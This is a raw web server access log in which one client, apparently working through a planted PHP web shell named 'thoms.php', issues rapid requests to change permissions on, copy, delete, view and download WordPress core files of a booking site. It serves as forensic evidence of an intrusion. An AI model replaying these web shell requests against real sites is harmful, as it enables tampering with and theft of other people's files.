45.135.193.11 - - [11/Sep/2026:23:46:44 -0400] "GET /thoms.php?chmod=post.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=post.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:44 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fview-config.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fview-config.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:44 -0400] "GET /booking-wise2.com.tw/wp-includes/interactivity-api/ HTTP/1.1" 200 952 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:44 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-block-editor-context.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:44 -0400] "GET /thoms.php?chmod=widgets.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=widgets.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:44 -0400] "GET /booking-wise2.com.tw/wp-includes/cron.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:44 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fcertificates HTTP/1.1" 200 12753 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fcertificates" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:44 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-site.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11897 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-site.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:44 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fblock-i18n.json&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fblock-i18n.json&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:45 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-classic-to-block-menu-converter.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:45 -0400] "GET /thoms.php?chmod=js&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=js&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:44 -0400] "GET /thoms.php?del=class-wp-feed-cache.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59415 "http://163.245.207.76:443/thoms.php?del=class-wp-feed-cache.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:44 -0400] "GET /thoms.php?del=locale.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=locale.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:45 -0400] "GET /thoms.php?chmod=class-wp-post.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=class-wp-post.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:45 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-recovery-mode-link-service.php HTTP/1.1" 200 13198 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-recovery-mode-link-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:45 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-walker.php HTTP/1.1" 200 15566 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-walker.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:45 -0400] "GET /thoms.php?chmod=vars.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=vars.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:45 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-widget-factory.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11903 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-widget-factory.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:45 -0400] "GET /thoms.php?dl=class-simplepie.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-simplepie.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:45 -0400] "GET /thoms.php?del=class-wp-block-supports.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-block-supports.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:45 -0400] "GET /thoms.php?dl=class-wp-embed.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59406 "http://163.245.207.76:443/thoms.php?dl=class-wp-embed.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fms-files.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fms-files.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ftaxonomy.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ftaxonomy.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:46 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fsitemaps HTTP/1.1" 200 13973 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fsitemaps" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:46 -0400] "GET /thoms.php?dl=date.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?dl=date.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:46 -0400] "GET /booking-wise2.com.tw/wp-includes/class-walker-category-dropdown.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:46 -0400] "GET /thoms.php?dl=query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:46 -0400] "GET /booking-wise2.com.tw/wp-includes/media.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:46 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-speculation-rules.php HTTP/1.1" 200 14103 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-speculation-rules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:47 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-http-curl.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-http-curl.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:46 -0400] "GET /thoms.php?dl=class-oembed.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=class-oembed.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:47 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fnav-menu-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fnav-menu-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:47 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-walker-category-dropdown.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-walker-category-dropdown.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:47 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-image-editor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:47 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-simplepie-sanitize-kses.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:47 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-plugin-dependencies.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-plugin-dependencies.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:47 -0400] "GET /thoms.php?chmod=class-wp-term-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=class-wp-term-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:47 -0400] "GET /booking-wise2.com.tw/wp-includes/abilities-api/ HTTP/1.1" 200 912 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:47 -0400] "GET /thoms.php?dl=nav-menu.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=nav-menu.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:47 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-block-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:47 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2FRequests&p= HTTP/1.1" 200 12400 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2FRequests&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:47 -0400] "GET /thoms.php?del=pluggable.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=pluggable.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:48 -0400] "GET /thoms.php?chmod=class-wp-http-ixr-client.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11548 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-ixr-client.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:48 -0400] "GET /thoms.php?chmod=class-wp-image-editor-imagick.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11544 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor-imagick.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:47 -0400] "GET /thoms.php?dl=abilities-api.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=abilities-api.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:48 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-speculation-rules.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:48 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-block-metadata-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:48 -0400] "GET /thoms.php?chmod=meta.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=meta.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:48 -0400] "GET /thoms.php?chmod=category-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=category-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:48 -0400] "GET /thoms.php?chmod=class-wp-feed-cache-transient.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11550 "http://163.245.207.76:443/thoms.php?chmod=class-wp-feed-cache-transient.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:48 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=https-detection.php HTTP/1.1" 200 14080 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=https-detection.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:48 -0400] "GET /booking-wise2.com.tw/wp-includes/script-modules.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:48 -0400] "GET /booking-wise2.com.tw/wp-includes/vars.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:48 -0400] "GET /thoms.php?dl=class-wp-block-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59407 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:48 -0400] "GET /thoms.php?dl=class.wp-scripts.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=class.wp-scripts.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:48 -0400] "GET /thoms.php?chmod=css&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=css&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:48 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fabilities.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fabilities.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:49 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-exception.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:49 -0400] "GET /thoms.php?chmod=class-wp-block-patterns-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-patterns-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:49 -0400] "GET /thoms.php?dl=block-template-utils.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=block-template-utils.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:49 -0400] "GET /thoms.php?dl=class-wp-fatal-error-handler.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59398 "http://163.245.207.76:443/thoms.php?dl=class-wp-fatal-error-handler.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:49 -0400] "GET /thoms.php?del=class-wp-plugin-dependencies.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=class-wp-plugin-dependencies.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:49 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2FRequests HTTP/1.1" 200 12757 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2FRequests" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:49 -0400] "GET /thoms.php?del=embed.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?del=embed.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:50 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fglobal-styles-and-settings.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11901 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fglobal-styles-and-settings.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:50 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=media.php HTTP/1.1" 200 83006 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:50 -0400] "GET /thoms.php?chmod=plugin.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=plugin.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:49 -0400] "GET /thoms.php?dl=general-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59385 "http://163.245.207.76:443/thoms.php?dl=general-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:50 -0400] "GET /thoms.php?del=plugin.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=plugin.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:50 -0400] "GET /thoms.php?chmod=class-wp-block-supports.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-supports.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
